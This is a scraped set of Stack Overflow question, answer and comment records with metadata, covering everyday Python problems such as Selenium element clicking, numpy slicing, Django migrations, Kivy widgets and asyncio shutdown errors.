has text: In general, you should **always** quote expansions. `"$key"`, `"$1"`, `"$2"`. Without the quotes, you have no guarantees whatsoever about how many individual argv elements they'll be split into when the command is executed. Even if you *think* everything will always parse to exactly one word, enforcing that improves your error messages &c. when encountering the unexpected (it makes more sense to get an error that `-p` can't get an argument of `''` than an error caused by `-p` getting the argument `-f`, and `-f` not being parsed as a separate argument at all).

http://stackoverflow.com/a/48715853
has body: You use an indirect way to find your wanted span, why not find the span directly, but use an outer for loop from 1 to 1500 spans = driver .find_elements_by_css_selector("span[title*='oprette booking']") for span in spans: time_slot = span .find_element_by_css_selector("div.padding5 + div").text if time_slot == '20:00 - 20:45': span.click() break not clickable is know issue on chromedriver 2.31 when element not visible in current viewport, if you use this version, please upgrade to 2.33 or later. If no matter with chromdriver version, check is there anything covered the span.
has comment: http://stackoverflow.com/comment/84450800
accepted answer of: http://stackoverflow.com/q/48714422
answers question: http://stackoverflow.com/q/48714422
score: 0
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/84519434
comment on: http://stackoverflow.com/q/48759235
score: 0
type: Comment
has text: Thanks Klaus. I hadn't, but I just tried, and it writes the output to a file named "-".
type: QuestionComment

http://stackoverflow.com/comment/84475341
type: AnswerComment
comment on: http://stackoverflow.com/a/48731339
score: 0
has text: Well as said, rather opt for removing `blit=True` from the animation, as it is just superfluous when creating a HTML5 animation in jupyter.
type: Comment

http://stackoverflow.com/q/48678313
tagged with: numpy
answer count: 2
tagged with: matrix
upvote count: 1
favorite count: 0
type: UnansweredQuestion
has body: I have a 3d numpy matrix t as follows, generated randomly: t = np.random.rand(2,2,2) array([[[ 0.80351862, 0.25631294], [ 0.7971346 , 0.29468456]], [[ 0.33771957, 0.91776256], [ 0.6018604 , 0.55290615]]]) I want to extract a 2-d matrix such that the result is sliced along the columns of the 3-d matrix. Something like: array([[ 0.25631294 , 0.91776256], [ 0.29468456, 0.55290615]]) How can I slice in such a way? Thanks for the help.
tagged with: python
has title: Slicing a numpy 3-d matrix into 2-d matrix
downvote count: 0
tagged with: pytorch
score: 1
type: Question
has answer: http://stackoverflow.com/a/48678596
has answer: http://stackoverflow.com/a/48678603

http://stackoverflow.com/comment/84552900
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48774504
has text: @Idlehands is it still not clear? I admit my calculation was wrong initially
score: 0

http://stackoverflow.com/a/48783337
upvote count: 2
type: AcceptedAnswer
has body: Use find_all to extract the elements. Create a generator (or list if you want) which is just the text attribute of each of these. Filter out those which do not end in "(Online)" and slice them to just extract the ISBN. I have used a generator and next() to just get the first occurrence, but you could just use a list if you wanted all of them (if there are multiple). Hope this works for the whole file! soup = BeautifulSoup(open("p.html").read(), "lxml") txt = (t.text for t in soup.find_all("span", class_="value")) isbn = next(t[:9] for t in txt if t.endswith("(Online)")) which gives isbn as '1550-2740'.
has comment: http://stackoverflow.com/comment/84568230
type: Answer
accepted answer of: http://stackoverflow.com/q/48783108
answers question: http://stackoverflow.com/q/48783108
downvote count: 0
has comment: http://stackoverflow.com/comment/84568309
score: 2
has comment: http://stackoverflow.com/comment/84568245
has comment: http://stackoverflow.com/comment/84568165
has comment: http://stackoverflow.com/comment/84568261

http://stackoverflow.com/comment/84473051
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48736725
has text: Or even label? Without seeing the whole json it is hard to know

http://stackoverflow.com/comment/84328894
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48665083
has text: I'm using 2.7.10. I tried adding it to my `sys.path` but not change really. Also, I've heard that using the `__init__.py` means you don't have to change your `sys.path` as it can be imported as a package.
score: 0

http://stackoverflow.com/comment/84353579
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48677864
type: AnswerComment
has text: `chromeOptions = webdriver.ChromeOptions(); chromeOptions.add_argument('--headless'); driver = webdriver.Chrome(chrome_options=chromeOptions)` You can do this.

http://stackoverflow.com/comment/84426903
comment on: http://stackoverflow.com/q/48712946
score: 0
type: Comment
type: QuestionComment
has text: How will you going to combine them ?? Volume/weight ???

http://stackoverflow.com/a/48700627
has comment: http://stackoverflow.com/comment/84447595
score: 1
has comment: http://stackoverflow.com/comment/84426414
accepted answer of: http://stackoverflow.com/q/48694850
answers question: http://stackoverflow.com/q/48694850
type: AcceptedAnswer
downvote count: 0
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/84431339
has body: The root cause is xpath incorrect, need to use single or double quote around id value. "//input[@id="+info+"]" should be "//input[@id='"+info+"']" Another possible risk is the page take long time to loading after click CHECKOUT button, 10 seconds is not enough. Increase 10 to 60 seconds. for info, value in data.items(): ele = ui.WebDriverWait(browser, 60) .until(EC.element_to_be_clickable((By.XPATH, "//input[@id='"+info+"']"))) ele.click() ele.clear() ele.send_keys(value) Only the first element will wait long time, the next element will take less than 2 seconds to find even you give max find time is 60 seconds, because the page loaded.
has comment: http://stackoverflow.com/comment/84438993

http://stackoverflow.com/comment/84452019
type: Comment
has text: did you tried to run the app normally with openjdk 8?
comment on: http://stackoverflow.com/q/48721808
score: 0
type: QuestionComment

http://stackoverflow.com/q/48715092
has title: Dynamically change the background of a label in kivy
has body: I am trying to dynamically change the background color of a Label in Kivy with this simple program. it is intended to produce a grid of red and black cells. However, all I get is a red cell in position (7,0) (I am printing the positions). import kivy from kivy.app import App from kivy.uix.label import Label from kivy.uix.gridlayout import GridLayout from kivy.graphics import Color, Rectangle class LabelX(Label): def set_bgcolor(self,r,b,g,o,*args): self.canvas.after.clear() with self.canvas.after: Color(r,g,b,o) Rectangle(pos=self.pos,size=self.size) class MyGrid(GridLayout): def __init__(self,cols,rows,**kwargs): super(MyGrid,self).__init__(**kwargs) self.cols = cols for i in range(rows): for j in range(cols): l = LabelX(text=str(i)+","+str(j)) if (i*rows+j)%2: l.set_bgcolor(1,0,0,1) else: l.set_bgcolor(0,0,0,1) self.add_widget(l) class GridApp(App): def build(self): g = MyGrid(8,8) return g if __name__=="__main__": GridApp().run() Any ideas on how to get a red/black checker board?
type: AnsweredQuestion
type: Question
accepted answer: http://stackoverflow.com/a/48715606
possible better answer: http://stackoverflow.com/a/48715529
has answer: http://stackoverflow.com/a/48715529
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/84430209
linked to: http://stackoverflow.com/q/38948174
has answer: http://stackoverflow.com/a/48715606
tagged with: python
tagged with: kivy

http://stackoverflow.com/comment/84404864
comment on: http://stackoverflow.com/q/48703253
score: 0
has text: `subprocess.call(args,stdout=subprocess.DEVNULL)` for python 3
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48671377
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/84373872
upvote count: 0
has comment: http://stackoverflow.com/comment/84422793
score: -1
has body: You should be able to type it in the command line for your operating system (ie. CMD/bash/terminal) as long as you have pip installed and the executable location is in your PATH.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84367145
accepted answer of: http://stackoverflow.com/q/48671331
answers question: http://stackoverflow.com/q/48671331

http://stackoverflow.com/comment/84452448
comment on: http://stackoverflow.com/q/48726710
score: 0
type: QuestionComment
has text: @idjaw I clarified why my question is not a duplicate
type: Comment

http://stackoverflow.com/q/48731201
has comment: http://stackoverflow.com/comment/84461649
tagged with: python
has comment: http://stackoverflow.com/comment/84461544
answer count: 0
has title: operational error: no such table django Every Time I create models
has body: I am using Django 2.0, Python Every Time I am creating new Model when I do python3 manage.py makemigrations it shows no changes detected and on migrate no migrations to apply Even I tried python3 manage.py makemigrations home shows Migrations for 'home': home/migrations/0001_initial.py - Create model FAQ - Create model Topic and then on python3 manage.py migrate home It still shows Operations to perform: Apply all migrations: home Running migrations: No migrations to apply. and when I try to open that table in admin. it shows OperationalError at /admin/home/faq/ no such table: home_faq however it'd worked when I'd deleted migrations and database and re migrated everything. But I can't delete everything Every Time. my models.py from django.db import models # Create your models here. class Topic(models.Model): topic_title = models.CharField(max_length=200,unique=True) topic_discription = models.TextField() no_of_posts = models.IntegerField() def __str__(self): return self.topic_title class FAQ(models.Model): question = models.CharField(max_length=800,unique=True) answer = models.TextField() timestamp = models.DateTimeField(auto_now_add=True,auto_now=False) author = models.CharField(max_length=100) author_info = models.TextField() def __str__(self): return self.question I've registered it on admin.py from django.contrib import admin from .models import Topic,FAQ # Register your models here. admin.site.register(Topic) admin.site.register(FAQ) EDIT #1: Okay now I cleared all migrations and db.sqlite3 and ran # python3 manage.py makemigrations No changes detected # python3 manage.py makemigrations home Migrations for 'home': home/migrations/0001_initial.py - Create model FAQ - Create model Topic # python3 manage.py migrate home Operations to perform: Apply all migrations: home Running migrations: Applying home.0001_initial... OK It does work but I rebuild the database for that. Because It's not in production yet so its okay but It may become big problem later. thing to no…
type: UnansweredQuestion
score: 1
upvote count: 1
type: Question
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84461719
tagged with: django

http://stackoverflow.com/comment/84415697
has text: [Does Machine Vision API work offline? ](https://stackoverflow.com/questions/40832882/does-machine-vision-api-work-offline) is about android app.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48706864
type: Comment

http://stackoverflow.com/q/48702168
has answer: http://stackoverflow.com/a/48702918
favorite count: 0
has comment: http://stackoverflow.com/comment/84402649
tagged with: return
has comment: http://stackoverflow.com/comment/84402774
has comment: http://stackoverflow.com/comment/84402963
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84403412
has comment: http://stackoverflow.com/comment/84402886
tagged with: python
tagged with: recursion
has title: How to return value and don't break loop
tagged with: loops
downvote count: 1
type: Question
upvote count: 0
score: -1
tagged with: python-2.7
has body: I want to create tool, which will parse and return messages from my email. You can see part of my code below. This is very simpliest part, in reality code much bigger. I have at least 2 iterations on 'for' loop and I want to return each result of operation, but return breaks the loop. I can add results to list, but I need just string, not list. The best way for me it's return result and continue loop, but this is impossible. Maybe I need to define new function or use lambda function for it and get result recursively? I didn't works with recursion before. Also I know that this is possible to use 'yield', but how to returns values from generator then? def a(request_url): output = getImap(request_url) def getImap(request_url): #many code before..... mail = imaplib.IMAP4_SSL(output['hostname'], port=output['port']) typ, data = mail.fetch(output['parameter']['uid'], 'RFC822') msg = email.message_from_string(data[0][1]) for part in msg.walk(): res = part.get_payload(decode=True) return res def AcceptDef(res): print res
answer count: 1

http://stackoverflow.com/comment/84478509
comment on: http://stackoverflow.com/a/48739357
has text: This makes sense. For the effectiveness of the program, does storing the reference to the dictionary cause any problems?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/48748568
has comment: http://stackoverflow.com/comment/84520967
has comment: http://stackoverflow.com/comment/84575660
has comment: http://stackoverflow.com/comment/84591007
downvote count: 0
has comment: http://stackoverflow.com/comment/84590376
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48741012
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48741012
has body: To write it into your Label you need to have a reference to it. multiple possibilities: create a class for your GUI and use showdir or a textvariable bound to it as instance variable pass a reference to your call to have showdir available global showdir why this order? most to least preferrable. If you do not know how to write to or read from a file, start with python tutorials before you start creating GUIs. There is no point in "puzzling together code that someone else wrote" if you do not know why you do certain steps as you do them. Its like driving a car without knowing what traffic is. As to your edit: your code does work now as you do not access the property directly anylonger so you don't use immediate write access to entry. return dir_path is completely obsolete. you do not get the folder as your os.path.dirname(indir) returns - as per definition inside the documentation the path of the parent directory. If you used a file instead of a directory dirname would be okay, as long as you use a directory, use os.path.abspath. os.path.dirname(path)¶ Return the directory name of pathname path. This is the first element of the pair returned by passing path to the function split().
has comment: http://stackoverflow.com/comment/84588906
type: Answer

http://stackoverflow.com/a/48777918
score: 5
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48777881
has body: Sorry to hear, try your luck with these Python byte-code de-compilers: https://github.com/wibiti/uncompyle2 https://pypi.python.org/pypi/uncompyle6 https://sourceforge.net/projects/easypythondecompiler/files/ https://github.com/zrax/pycdc
upvote count: 5
has comment: http://stackoverflow.com/comment/129657279

http://stackoverflow.com/q/48709775
type: Question
has comment: http://stackoverflow.com/comment/84419169
has comment: http://stackoverflow.com/comment/84418705
linked to: http://stackoverflow.com/q/267436
score: 0
has title: How to decode utf-8 string in python?
has comment: http://stackoverflow.com/comment/84418445
tagged with: python
tagged with: utf-8
has body: I get this string from the database: 'Paris, \u00cele-de-France' In the schema, it is encoded with UTF-8 Unicode. I try encode('utf-8') but it is no help.
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84418615
has comment: http://stackoverflow.com/comment/84418790
duplicate of: http://stackoverflow.com/q/267436

http://stackoverflow.com/a/48708261
answers question: http://stackoverflow.com/q/48708219
has body: Its not "passing by value", as lists actually holds the references to objects. You need to create copy and append to list, i.e.: state_list.append(state.copy()) Note, tho, that .copy creates a shallow copy of object. For containers, this means that container is new, but it will hold the same references. As your state is described by floats, and floats is immutable, this will cause no issues whatsoever. In case if you need to copy container with mutable objects inside and have this objects copied too, you can use deepcopy
accepted answer of: http://stackoverflow.com/q/48708219
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84415199
score: 5
type: Answer
upvote count: 5
downvote count: 0

http://stackoverflow.com/q/48684568
has answer: http://stackoverflow.com/a/48840883
has body: I'm using an Oracle database and I just started to use Cassandra. I started with a basic task like export/import CSV files. It works fine in my interaction env, but stall in production env. Here is the error: Process ImportProcess-1:Traceback (most recent call last): File "/usr/lib64/python2.6/multiprocessing/process.py", line 232, ... ... Unable to connect to any servers', {'AQPLCS08': error('unpack requires a string argument of length 4 I execute the import command like this: cqlsh AQILCS01 -e "COPY ks_mdm.prueba_alarmas from '/tmp/datos_alarmas.csv'" I look at the web for a workaround, but I didn't find any information. Does anyone know?
type: Question
has comment: http://stackoverflow.com/comment/84685810
has comment: http://stackoverflow.com/comment/84378828
has comment: http://stackoverflow.com/comment/84368677
tagged with: python
answer count: 1
has comment: http://stackoverflow.com/comment/84380047
has comment: http://stackoverflow.com/comment/84527090
score: 0
tagged with: import
has comment: http://stackoverflow.com/comment/84369010
type: UnansweredQuestion
tagged with: cassandra
has comment: http://stackoverflow.com/comment/84368257
has title: Python Error when I import CSV file into Cassandra workspace

http://stackoverflow.com/a/48688397
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84376826
has comment: http://stackoverflow.com/comment/84377128
has comment: http://stackoverflow.com/comment/84377804
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/84375270
has comment: http://stackoverflow.com/comment/84380331
has comment: http://stackoverflow.com/comment/84376990
has comment: http://stackoverflow.com/comment/84376301
answers question: http://stackoverflow.com/q/48687573
accepted answer of: http://stackoverflow.com/q/48687573
upvote count: 1
has comment: http://stackoverflow.com/comment/84377645
has body: It is not clear how you are configuring Apache to forward requests to Django, it seems like you are treating those as two independent components. If you want to use a web server in front of Django (recommended for production envs), you need to configure both Apache and Django. Then, as you are running django in dev mode (python manage.py runserver 0.0.0.0:8000), you should reach Django in http://server_ip:8000 regardless of Apache, perhaps there is another firewall blocking the connection. Use tracert / traceroute to find out where the connection is blocked. FInally, for production environments, it is recommended to use a web server in front of Django to increase security and performance. See the docs for further information. My guess is that you have another firewall blocking the port. You opened the local firewall using ufw, but there may be an outer firewall. python manage.py runserver 0.0.0.0:8000 starts correctly? If so, keep an eye in the log. Inside the server, do a request wget http://localhost:8000. The request should be logged If you can reach Apache in port 9080 from outside the server, you can: Use nmap to find the opened / closed / filtered ports in the server to find if there is another firewall inbetween. Configure Apache to forward requests to Django, although this does not solve the problem In your question you say that you have forwarded port for ssh and Django. What exactly is this? Are you sure that you have not misconfigured your ssh server to listen in port 8000?

http://stackoverflow.com/comment/84529684
type: Comment
comment on: http://stackoverflow.com/a/48764450
has text: Thanks, this would make the most sense. Theoretically, I can still throw an error by being a dummy and using multiple whitespaces in the wrong places (like using multiple whitespace between the first value and the operator, and leaving no whitespace between the operator and the second value), but this would be the best option for others also beginning to learn to code. Much obliged!
type: AnswerComment
score: 0

http://stackoverflow.com/q/48700570
accepted answer: http://stackoverflow.com/a/48701149
has title: How to search the file directory correctly with Python for specific details
has body: I am new to Python and trying to figure out where I am going wrong in my current program. I am trying to write it so that it will check for a specific text file ("HomeInventory.txt") and perform different tasks based on if it does or does not exist. For example, if it does exist, then it would ideally ask the user if they want to add to the data already there and if it doesn't, then ask them if they want to create a new file. I thought what I had was getting my close, but it never seems to recognize that the file does exist. Any help is greatly appreciated. Here is my code: from pathlib import Path tupleRow = ( "","" ) tupleTable = () while(True): # Obtain user input (2 different variables) nameVal = str(input("Enter the name of a household item: ")) inputName = str(nameVal).upper() inputValue = float(input("Enter the value of your item: ")) # Format values entered to appear like currency # NOTE: Because I use float as input, I only need one "0" # at the end tempVal = str(inputValue) finalVal = "$" + tempVal + "0" # Stores each new input into it's correct tuple tupleRow = (inputName, finalVal) # 2. Ask the user for new entries and stores # them in the 2-dimensional Tuple. continueMsg = str(input("Do you have more items to enter? Y/N: ").upper()) if(continueMsg == "Y"): continue else: break tupleTable += tupleRow myFile = Path("%~dp0HomeInventory.txt") if(myFile.is_file() == False): createFile = str(input("HomeInventory.txt does not exist yet, do you want to create it? Y/N: ").upper()) if(createFile == "Y"): objFile = open("HomeInventory.txt", "a+") # Conditional Header for line in objFile: if ("Item, Value" in line): objFile.write(str(tupleTable).strip("(" ")" "'" "'")) objFile.close() else: row0 = str("Item, Value") objFile.write(str(row0 + '\n')) objFile.write(str(tupleTable).strip("(" ")" "'" "'")) objFile.close() else: print("Y'all come back later. Y'hear? ") elif(myFile.is_file() == True): overrideMsg = str(input("HomeInventory.txt already exists. Save new data…
type: AnsweredQuestion
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48700643
type: Question
has answer: http://stackoverflow.com/a/48701149
answer count: 2
tagged with: python
possible better answer: http://stackoverflow.com/a/48700643
linked to: http://stackoverflow.com/q/82831
score: 0
has comment: http://stackoverflow.com/comment/84399683
tagged with: file

http://stackoverflow.com/q/48685715
has comment: http://stackoverflow.com/comment/84370194
has answer: http://stackoverflow.com/a/60676918
tagged with: python
type: AnsweredQuestion
score: 1
tagged with: snakemake
has body: The problem is very simple: I want to call a script from a rule and I would like that rule to both: Perform stdout and stderr redirection Access the snakemake variables from the script(variable can be both lists and literals) If I use the shell: then, I can perform the I/O redirection but I cannot use the snakemake variable inside the script. Note: Of course it is possible to pass the variables to the script as arguments from the shell. However by doing so, the script cannot distinguish a literal and a list variable. If I instead use script: then, I can access my snakemake variables but I cannot perform I/O redirection and many other shell facilities. An example to illustrate the question: 1) Using the shell: rule create_hdf5: input: genes_file = OUTPUT_PATH+'/{sample}/outs/genes.tsv' params: # frequencies is a list!!! frequencies = config['X_var']['freqs'] output: HDF5_OUTPUT+'/{sample}.h5' log: out = LOG_FILES+'/create_hdf5/sample_{sample}.out', err = LOG_FILES+'/create_hdf5/sample_{sample}.err' shell: 'python scripts/create_hdf5.py {input.genes_file} {params.frequencies} {output} {threads} 2&gt; {log.err} 1&gt; {log.out} ' Problem with 1): Naturally, the python script thinks that each element in the frequencies list is a new argument. Yet, the script cannot access the snakemake variable. 2) Using the script: rule create_hdf5: input: genes_file = OUTPUT_PATH+'/{sample}/outs/genes.tsv' params: # frequencies is a list!!! frequencies = config['X_var']['freqs'] output: HDF5_OUTPUT+'/{sample}.h5' log: out = LOG_FILES+'/create_hdf5/sample_{sample}.out', err = LOG_FILES+'/create_hdf5/sample_{sample}.err' script: 'scripts/create_hdf5.py' Problem with 2): I can access the snakemake variable inside the script. But now I cannot use the bash facilities such as I/O redirection. I wonder if there is a way of achieving both (perhaps I am missing something from the snakemake documentation)? Thanks in advance!
upvote count: 1
type: Question
has title: snakemake both shell I/O redirection and accessing snakemake variable using script
has answer: http://stackoverflow.com/a/48745995
answer count: 2
downvote count: 0
favorite count: 0
possible better answer: http://stackoverflow.com/a/60676918
accepted answer: http://stackoverflow.com/a/48745995

http://stackoverflow.com/a/48705472
has comment: http://stackoverflow.com/comment/84413608
has comment: http://stackoverflow.com/comment/84501835
has comment: http://stackoverflow.com/comment/84500343
answers question: http://stackoverflow.com/q/48705186
score: 0
type: Answer
has body: https://docs.python.org/2/howto/sockets.html#disconnecting On the client, close the socket to the server. On the server, check whether the recv returned 0 bytes. Also from the documentation for using a socket: When a recv returns 0 bytes, it means the other side has closed (or is in the process of closing) the connection. You will not receive any more data on this connection. Ever. You may be able to send data successfully; I’ll talk more about this later.
has comment: http://stackoverflow.com/comment/84413958

http://stackoverflow.com/q/48705362
has answer: http://stackoverflow.com/a/48706074
answer count: 1
tagged with: asynchronous
tagged with: redis
tagged with: python
accepted answer: http://stackoverflow.com/a/48706074
has title: Running coroutines and threads in asyncio event loop: Errors while exiting
has body: I have designed a piece of python code which essentially works as a microservice in the larger scheme of things. There are two tasks that I have scheduled on the loop and two tasks that I set up to be run in executor. The strange part is the code runs well. Does everything I expect. But when I end it with KeyboardInterrupt (Ctrl+C) I get to see error and exception. Which makes me feel I am definitely misusing the asyncio patterns here. I will try to provide a brief overview of the code without going into the lengthy details right away: class Prototype: def _redis_subscriber(self): self._p = self._redis_itx.pubsub(ignore_subscribe_messages=True) self._p.subscribe("channel1") while True: pubbed_msg = self._p.get_message() if pubbed_msg is not None: #process process process time.sleep(0.01) def _generic_worker_on_internal_q(self): while True: item = self.q.get() #blocking call #process item async def task1(self): #network I/O bound code async def task2(self): #network I/O bound code. also fills with self.q.put() def run(self): asyncio.ensure_future(self.task1(), loop=self._event_loop) asyncio.ensure_future(self.task2(), loop=self._event_loop) asyncio.ensure_future(self._event_loop.run_in_executor(None, self._redis_subscriber)) asyncio.ensure_future(self._event_loop.run_in_executor(None, self._generic_worker_on_internal_q)) self._event_loop.run_forever() if __name__ == '__main__': p = Prototype() p.run() Also, I tried experimenting with another approach in the Protoype.run() method: def __init__(self): self._tasks = [] def run(self): self._tasks.append(asyncio.ensure_future(self._task1())) self._tasks.append(asyncio.ensure_future(self._task2())) self._tasks.append(asyncio.ensure_future(self._event_loop.run_in_executor(None, self._redis_subscriber))) self._tasks.append(asyncio.ensure_future(self._event_loop.run_in_executor(None, self._generic_worker_on_internal_q))) self._event_loop.run_until_complete(self._tasks) Regardless, when I try to end the running script with Ctr…
score: 0
tagged with: multithreading
type: Question
type: AnsweredQuestion
tagged with: event-loop
has comment: http://stackoverflow.com/comment/84409285
has comment: http://stackoverflow.com/comment/84409357

http://stackoverflow.com/a/48652601
upvote count: 1
has body: If you are having just a list, and want to swap the elements alternatively, then the simplest way to achieve this is using list slicing as: &gt;&gt;&gt; my_list = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] # v slice from `0`th index with step of `2` # v v slice from `1`st index with step of `2` &gt;&gt;&gt; my_list[::2], my_list[1::2] = my_list[1::2], my_list[::2] &gt;&gt;&gt; my_list [1, 0, 3, 2, 5, 4, 7, 6, 9, 8]
downvote count: 0
type: Answer
score: 1
answers question: http://stackoverflow.com/q/48652561

http://stackoverflow.com/a/48748131
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48747966
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/84555038
has body: You can increase the recursion limit. But this safeguard is there for a reason. Are you sure this is what you want to do? import sys sys.setrecursionlimit(2000) arr = [1] for i in range(1000): arr = [arr] str(arr)
has comment: http://stackoverflow.com/comment/84555093

http://stackoverflow.com/comment/84370542
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48686412
has text: Read this https://stackoverflow.com/questions/8049798/understanding-nested-list-comprehension

http://stackoverflow.com/q/48721368
has body: I want to get a list of k-sized tuples with the combinations of a list of elements (let's call it elements) similar to what itertools.combinations_with_replacement(elements, k) would do. The difference is that I want to add a maximum to the number of replacements per element. So for example if I run the following: elements = ['a', 'b'] print(list(itertools.combinations_with_replacement(elements, 3))) I get: [('a', 'a', 'a'), ('a', 'a', 'b'), ('a', 'b', 'b'), ('b', 'b', 'b')] I would like to have something like the following: elements = {'a': 2, 'b': 3} print(list(combinations_with_max_replacement(elements, 3))) Which would print [('a', 'a', 'b'), ('a', 'b', 'b'), ('b', 'b', 'b')] Notice that the max number of 'a' in each tuple is 2 so ('a', 'a', 'a') is not part of the result. I'd prefer to avoid looping through the results of itertools.combinations_with_replacement(elements, k) counting the elements in each tuple and filtering them out. Let me know if I can give any further info. Thanks for the help! UPDATE I tried: elements = ['a'] * 2 + ['b'] * 3 print(set(itertools.combinations(elements, 3))) and get: {('a', 'b', 'b'), ('b', 'b', 'b'), ('a', 'a', 'b')} I get the elements I need but I lose the order and seems kind of hacky
tagged with: python
has title: Combinations with max repetitions per element
score: 2
has answer: http://stackoverflow.com/a/48721633
upvote count: 2
type: UnansweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/84442279
has comment: http://stackoverflow.com/comment/84442105
has answer: http://stackoverflow.com/a/48721699
tagged with: python-itertools
answer count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/84442032
has answer: http://stackoverflow.com/a/49714214
favorite count: 0

http://stackoverflow.com/q/48730583
has comment: http://stackoverflow.com/comment/84460683
type: UnansweredQuestion
tagged with: string-formatting
tagged with: python
has answer: http://stackoverflow.com/a/48730891
has title: Formatting an ugly String to list/dictionary
type: Question
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84474595
has body: Thanks for having a look at the following. From "shelve", I have an ugly set of data. import shelve,os,re os.chdir('''.\wikiUSstates''') shelfFile = shelve.open('''.\IndiaTEMP''') k=shelfFile['indiaprovinces'] print(type(k)) #This is type STR print(k) RETURNS THE BELOW. This is provinces of India followed by their capital. &lt;class 'str'&gt; ['Andhra Pradesh – Hyderabad (Proposed Capital: Amaravati in Guntur district. See ', 'below.)', 'Arunachal Pradesh – Itanagar', 'Assam – Dispur', 'Bihar – Patna', 'Goa – Panaji', 'Gujarat – Gandhinagar', 'Haryana – Chandigarh', 'Himachal Pradesh – Shimla', 'Jammu &amp; Kashmir – Srinagar (Winter : Jammu)', 'Karnataka – Bangalooru', 'Kerala – Thiruvananthapuram', 'Madhya Pradesh – Bhopal', 'Maharashtra – Mumbai', 'Manipur – Imphal', 'Meghalaya – Shillong', 'Mizoram – Aizawl', 'Nagaland – Kohima', 'Orissa – Bhubaneswar', 'Punjab – Chandigarh', 'Rajasthan – Jaipur', 'Sikkim – Gangtok', 'Tamil Nadu – Chennai', 'Tripura – Agartala', 'Uttar Pradesh – Lucknow', 'West Bengal – Kolkata', 'Chhattisgarh – Raipur', 'Uttarakhand – Dehradun', 'Jharkhand – Ranchi', 'Telangana – Hyderabad (see ', ' below)', 'Delhi (National Capital Territory of Delhi or NCT) – New Delhi *', 'Andaman &amp; Nicobar Islands – Port Blair', 'Chandigarh – Chandigarh', 'Dadra &amp; Nagar Haveli – Silvasa', 'Daman &amp; Diu – Daman', 'Lakshadweep – Kavaratti', 'Puducherry – Puducherry', '\n', '\n', '\n', '\n'] I am trying to make this data workable (either a list on which I could iterate through index numbers List[0] being province, List[1] the capital, or even better, a dictionary (key being "province", value being "capital"). I tried with REGEX to somehow take out the hyphens and replace them with comas, no success. The ugly newlines at the end of the string would also have to be taken care of (k.replace ??). Cheers, thanks for the hand! An enthusiastic beginner.
tagged with: python-3.x

http://stackoverflow.com/q/48709574
answer count: 1
tagged with: scikit-learn
tagged with: pandas
tagged with: python
has answer: http://stackoverflow.com/a/48709689
has body: Some of my columns contain textual categoric values like "did_do_something" with the possible values of "true" or "false" or another column might be "browser_type" with possible values of "chrome", "safari" but I also have other columns containing numeric category "enumeration" such as "version_type" which could have a value like "1" ,"2" ,"3" ,"4" and then there are just plain numeric columns like "age" which just get a numeric value and should stay unaltered. I checked the pandas documentation here https://pandas.pydata.org/pandas-docs/stable/generated/pandas.get_dummies.html Specifically this flag: columns : list-like, default None Column names in the DataFrame to be encoded. If columns is None then all the columns with object or category dtype will be converted. My dummy processing looks like this: import numpy as np import pandas as pd from sklearn.model_selection import train_test_split data_csv_file = 'data/data.csv' data = pd.read_table(data_csv_file,delimiter = ",").dropna() # this is the column containing the label for the row label_column = 'converted_pixel' # these columns SHOULD NOT be encoded since they are read numeric values numeric_columns = ['campaign_frequency','user_age_days'] # all the other columns which are not label or numeric should be dummy encoded dummy_columns = [a for a in data.columns if a != label_column and a not in numeric_columns] # create the new processed data frame with the dummy columns processed_dummy_data = pd.get_dummies(data,columns = dummy_columns) The processed data frame results in around 1000 columns from the original 21 columns. My question is given a vector from the original dataframe, how can I get it's dummy encoding from the resulting dummy ? Since the dummy data frame is so large, it is unreasonable to do this on my own. I am looking for an API like dummy_encoded_vector = get_dummy_encoding(vector_from_original_dataframe_encoding, processed_dummy_data)
score: 0
type: UnansweredQuestion
tagged with: dummy-variable
type: Question
tagged with: numpy
has title: Pandas - After I created dummy columns how do I given a new vector get the dummy representation?

http://stackoverflow.com/q/48716653
has comment: http://stackoverflow.com/comment/84432630
tagged with: for-loop
answer count: 7
has answer: http://stackoverflow.com/a/65917652
favorite count: 0
has answer: http://stackoverflow.com/a/63310923
duplicate of: http://stackoverflow.com/q/4280691
has answer: http://stackoverflow.com/a/65459027
tagged with: reverse
has answer: http://stackoverflow.com/a/73005475
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84432647
has answer: http://stackoverflow.com/a/48716895
tagged with: python
has body: my_list=[1,2,3,4,5] new_list=[] for i in range(len(my_list)): new_list.insert(i,my_list[-1]) my_list.pop(-1) I used the above code to reverse a list but I was wondering why is the range(len(my_list)) necessary, more specifically, why doesn't it work if I simply put "for i in my_list:"?
duplicate of: http://stackoverflow.com/q/3940128
has comment: http://stackoverflow.com/comment/84432628
tagged with: list
has answer: http://stackoverflow.com/a/68296584
upvote count: 3
has comment: http://stackoverflow.com/comment/115729374
type: Question
linked to: http://stackoverflow.com/q/529424
duplicate of: http://stackoverflow.com/q/6260089
score: -2
